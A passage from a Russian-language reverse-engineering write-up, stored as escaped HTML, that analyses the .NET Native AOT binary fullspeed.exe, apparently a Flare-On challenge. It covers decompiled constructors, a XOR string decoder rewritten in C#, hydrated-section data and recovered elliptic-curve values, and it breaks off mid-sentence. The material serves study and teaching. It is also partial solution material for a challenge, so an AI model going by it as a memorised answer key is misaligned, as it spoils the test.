\u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043a\u043b\u0430\u0441\u0441\u0430, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0435\u0449\u0451 \u043d\u0435 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0430.<br \/> \u041f\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e sub_140001ED4() \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0448\u0435\u0441\u0442\u0438 \u043c\u0435\u0441\u0442\u0430\u0445:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/tr\/s8\/ej\/trs8ejaqvnqio1flnwxgsxzqqgo.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e sub_140001ED4()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/tr\/s8\/ej\/trs8ejaqvnqio1flnwxgsxzqqgo.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/tr\/s8\/ej\/trs8ejaqvnqio1flnwxgsxzqqgo.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0412\u0441\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>sub_140001ED4()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f <strong>CheckStaticClassConstructionReturnGCStaticBase<\/strong> \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0432 <strong>sub_140107BC0()<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 \u043a\u043b\u0430\u0441\u0441\u0430 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0435\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u0414\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0441 \u043f\u043e\u043b\u044f\u043c\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438, \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445.<\/p>\n<h4>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_140107BC0()<\/h4>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 sub_140107BC0():<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140107BC0()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140107BC0()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0435\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0434\u0432\u0443\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:<br \/> \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e \u0434\u0432\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u0430:<\/p>\n<ul>\n<li>\n<p><em>RhpNewFast(EEType pEEType)<\/em>* \u2013 \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0434 \u043e\u0431\u044a\u0435\u043a\u0442 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 <strong>EEType<\/strong>. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u043d\u0442\u0430\u0439\u043c\u043e\u043c .NET \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432;<\/p>\n<\/li>\n<li>\n<p><em>RhpAssignRefAVLocation(Object** dst, Object src)<\/em>* \u2013 \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442 <strong>src<\/strong> \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 <strong>dst<\/strong>, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044f \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0430 \u043c\u0443\u0441\u043e\u0440\u0430.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>RhpAssignRefAVLocation<\/strong>:<\/p>\n<pre><code class=\"cpp\">RhpAssignRefAVLocation( (unsigned __int64 *)class_myEC + 1, (unsigned __int64)ellipticCurve); RhpAssignRefAVLocation( (unsigned __int64 *)class_myEC_copy + 2, ecPointGeneratorPoint); RhpAssignRefAVLocation( (unsigned __int64 *)class_myEC_copy + 3, (unsigned __int64)SecureRandom); <\/code><\/pre>\n<p>\u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u043c\u0435\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430.<\/p>\n<h4>\u0410\u043d\u0430\u043b\u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140107D80()<\/h4>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140107D80()<\/strong> \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0432 \u0442\u0435\u043b\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 sub_140107BC0() (\u0441\u0442\u0440\u043e\u043a\u0438: 20, 23, 26, 29, 32). \u041f\u043e \u0435\u0451 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/x3\/2t\/bl\/x32tblhvtpp1aahoenvgpz0f2eo.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140107D80()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/x3\/2t\/bl\/x32tblhvtpp1aahoenvgpz0f2eo.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/x3\/2t\/bl\/x32tblhvtpp1aahoenvgpz0f2eo.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140107D80()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u0430\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e <strong>sub_140107D80()<\/strong> \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u044c \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u0438\u0434\u0443:<\/p>\n<pre><code class=\"cs\">public static string DecodeEncryptData(string inStr) {     byte[] bArray = Convert.FromHexString(inStr);      byte bKey = 0;     int intIteration = 0;     int intByteArrayLength = bArray.Length;      if (intByteArrayLength &gt; 0)     {         do         {             bKey = (byte)(13 * bKey + 0x25);             bArray[intIteration++] ^= bKey;         }         while (intByteArrayLength &gt; intIteration);     }     return Encoding.UTF8.GetString(bArray); } <\/code><\/pre>\n<p>\u041f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0432\u044b\u0437\u043e\u0432\u0435 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c <strong>unk_14013FC68<\/strong>. \u041f\u0440\u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043e\u043d \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0441\u0435\u043a\u0446\u0438\u044e hydrated, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u043d\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f:<\/p>\n<pre><code>hydrated:000000014013FC68 unk_14013FC68 db  ? ;DATA XREF: client_myEC___cctor+1B\u2191o hydrated:000000014013FC69               db  ? ; hydrated:000000014013FC6A               db  ? ; hydrated:000000014013FC6B               db  ? ; hydrated:000000014013FC6C               db  ? ; <\/code><\/pre>\n<p>\u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c AOT-\u0441\u0431\u043e\u0440\u043a\u0438 .NET, \u0433\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0432 \u0443\u0447\u0430\u0441\u0442\u043a\u0430\u0445 \u043f\u0430\u043c\u044f\u0442\u0438, \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.<\/p>\n<h4>\u0413\u0438\u0434\u0440\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 .NET Native AOT<\/h4>\n<h3>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0441\u0435\u043a\u0446\u0438\u044f hydrated?<\/h3>\n<p>\u041a\u0430\u043a \u0443\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u043d\u0435\u0435, \u0441\u0435\u043a\u0446\u0438\u044f hydrated \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0414\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u0432 \u043d\u0435\u0439, \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u043c (\u0438\u043b\u0438 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c) \u0432\u0438\u0434\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u00ab\u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u0438\u00bb \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u042d\u0442\u0430 \u0441\u0435\u043a\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0442\u0430\u043a \u0438 \u043f\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u044b. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u0441\u0436\u0430\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u0441 \u0446\u0435\u043b\u044c\u044e \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430.<\/p>\n<p>\u041f\u0440\u043e \u0433\u0438\u0434\u0440\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c:<\/p>\n<ul>\n<li>\n<p>Michal Strehovsky <a href=\"https:\/\/github.com\/dotnet\/runtime\/pull\/77884\" rel=\"noopener noreferrer nofollow\">Add support for dehydrated runtime data structures<\/a><\/p>\n<\/li>\n<li>\n<p>Michal Strehovsky <a href=\"https:\/\/migeel.sk\/blog\/2023\/09\/15\/reverse-engineering-natively-compiled-dotnet-apps\/\" rel=\"noopener noreferrer nofollow\">Reverse engineering natively-compiled .NET apps<\/a><\/p>\n<\/li>\n<li>\n<p><strong>Washi1337<\/strong> <a href=\"https:\/\/blog.washi.dev\/posts\/recovering-nativeaot-metadata\/\" rel=\"noopener noreferrer nofollow\">Recovering Metadata from .NET Native AOT Binaries<\/a><\/p>\n<\/li>\n<\/ul>\n<h3>\u041a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c?<\/h3>\n<p>\u041a\u0430\u043a \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u0435\u043a\u0446\u0438\u0438 hydrated?<br \/> \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0432 \u043a\u043e\u0434\u0435 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0445 \u0437\u0430 \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0435 <strong>Ghidra<\/strong> \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b <a href=\"https:\/\/washi1337.github.io\/ctf-writeups\/writeups\/flare-on\/2024\/7\/\" rel=\"noopener noreferrer nofollow\">washi1337<\/a>, \u043d\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438.<br \/> \u041e\u0434\u043d\u0430\u043a\u043e \u0435\u0441\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u2013 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b fullspeed.exe \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435 \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0437\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u0438:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/cb\/0g\/14\/cb0g14wgyyryjgp8qzjct24kxr4.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u0438\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/cb\/0g\/14\/cb0g14wgyyryjgp8qzjct24kxr4.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/cb\/0g\/14\/cb0g14wgyyryjgp8qzjct24kxr4.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u0438<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0434\u0435\u0433\u0438\u0434\u0440\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u044b\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u0432\u0438\u0434\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b:<\/p>\n<pre><code class=\"cpp\">struct HydratedStruct {     MethodTable* vftable_ptr;     uint64_t length;     wchar_t first_char; }; <\/code><\/pre>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0442\u0440\u043e\u043a\u0443, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u0443\u044e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435: \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0434\u0432\u0430 \u0431\u0430\u0439\u0442\u0430 (UTF-16). \u041f\u043e\u0441\u043b\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0431\u0430\u0439\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<pre><code>463F43CDC15079D91C4AB352F862D545B097C05DC765794A4F5A8BC54828DE86E7D6B7E4657348A9EF3C89711A5F226502E0627B60079931BA7878B6BB4B22A384F20484811BE84E080C73C7E87B4707AD835B1F04236ADED81F4C565839C1C4 <\/code><\/pre>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0434\u0435\u043b\u043e \u0438 \u043a\u0430\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0438\u0445 \u0442\u0438\u043f, \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a \u043f\u0440\u043e\u0435\u043a\u0442\u0443 client \u0438\u0437 \u0440\u0435\u0448\u0435\u043d\u0438\u044f elliptic_curve.<\/p>\n<h3>\u041c\u0435\u0442\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b FLIRT<\/h3>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430, 